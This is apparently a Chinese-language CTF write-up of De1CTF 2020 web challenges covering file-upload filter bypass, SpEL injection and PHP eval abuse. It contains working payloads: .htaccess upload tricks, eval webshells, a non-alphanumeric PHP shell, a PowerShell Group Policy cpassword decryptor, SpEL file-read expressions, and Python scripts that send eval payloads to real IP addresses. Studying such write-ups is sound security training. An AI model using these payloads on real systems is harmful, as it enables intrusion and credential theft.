人在天台,感覺良好
check in
考點:配置文件上傳
相比之下最友好的一題了emmm
主要還是過濾了ph和>,然后是黑名單
考慮上傳htaccess,由於不能有ph,故用換行拼接:
Addtype application/x-httpd-p\
hp .jpg
一開始多加了個空格導致沒正確解析
然后圖片馬用短標簽來繞過:
<?=eval($_POST[0]);
相當於
<?php echo eval($_POST[0]);
后來出題人說預期解是htaccess可以啟用cgi,來執行bash腳本,如下:
.htaccess
Options +ExecCGI
AddHandler cgi-script .sh
solve.sh
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0
Hard_Pentest_1
考點:無字母數字shell,內網滲透
源碼如下
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
后綴不能為php,並且文件內容有匹配/[a-z0-9;~^&|]/is
windows不區分大小寫,然后無字母數字shell的話主要參考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
不過這里過濾了分號,還是可以用短標簽來繞過,如下:
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
原理就是利用了array取值,然后逐次++,直到拼接到POST
上傳之后需要寫shell:
__=file_put_contents&_=2.php&___=<?php eval($_POST[0]);
連上蟻劍后發現是windows系統
然后需要滲透,啊這......完全的薄弱項,只發現了一個flaghint壓縮包:
其實應該是net use命令找到的hint,然后進入//192.168.0.12/hint/
總之這個壓縮包需要密碼,在@Pdsdt師傅幫助下看了篇文章,是關於利用SYSVOL還原組策略中保存的密碼的
https://3gstudent.github.io/3gstudent.github.io/
首先在每個域內都有一個共享的文件夾SYSVOL,路徑為:
\\<domain>\SYSVOL\<domain>
,所有域內主機都能訪問,里面保存組策略相關數據
ipconfig/all 可以查看當前主機的域為De1CTF2020.lab
進入共享文件夾:
然后需要找到相應的策略組id的配置文件,如下是配置文件Groups.xml
其中cpassword為AES加密的密碼,有現成的腳本,改一下密碼即可
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
建一個ps1文件,然后:
powershell -executionpolicy bypass -file 1.ps1
得到密碼zL1PpP@sSwO3d
calc
spring框架?emm不太熟悉javaweb
跟到http://106.52.164.141/spel/calc?calc=
然后就硬測,肝了我好久,測了很多種表達式注入payload,不過過濾比較嚴格,像是T()、java.lang、Runtime、getClass、toString、new
等
而網上大多數都是這種,基本都涼涼
java.lang.Runtime.getRuntime().exec("calc")
不過這篇文章給的payload還是比較全的,可以看一下:
java表達式注入
然后呢,其實這題可以直接新建對象讀文件,我....****
new可以用大寫繞過,然后直接用這個BufferedReader和FileReader讀文件
(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()
java還是頂
看了一下別人的wp,考慮到可能有大小寫無法繞過的情況,那么可以用:
''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))
class.forName會自動加載字符串的類並初始化,這樣就繞過了new了
https://drive.google.com/file/d/1lzLa6el8UYTqKKhnegGpS4lN7Edl7EOo/view
Easy PHP UAF(unsolved)
題目描述:Docker image is php:7.4.2-apache
<?php
error_reporting(0);
if(isset($_GET['c'])) {
eval($_GET['c']);
}else {
highlight_file(__FILE__);
}
源碼很簡單,由於版本比較高,不能用assert來連shell,然后看一下phpinfo禁用的函數
其實過濾的沒那么嚴吧,然后里面過濾了scandir,可以考慮用glob://然后用next索引挨個列目錄,腳本如下:
import requests
n='$it->next();'
p='printf("%s: %.1FK<br />", $it->getFilename(), $it->getSize()/1024);'
for i in range(1,20):
url='http://129.204.185.9:8848/?c=$it = new DirectoryIterator("glob:///*");'
url=url+n*(i-1)+p
#print(url)
print(requests.get(url).text)
然后想找別人留下的馬騎的2333,可惜沒找到,
后來想到可以用session_start然后寫入sess進行包含
import requests
n='$it->next();'
p='printf("%s: %.1FK<br />", $it->getFilename(), $it->getSize()/1024);'
for i in range(1,10):
url='http://129.204.185.9:8848/?c=session_start();$_SESSION["b"]="|N;<?php eval(\$_POST[0]);?>";$it = new DirectoryIterator("glob:///tmp/*");'
url=url+n*(i-1)+p
#print(url)
print(requests.get(url).text)
成功寫入
也能命令執行,不過這個session很快就會沒
但是就是連不上蟻劍,唉,卡在這了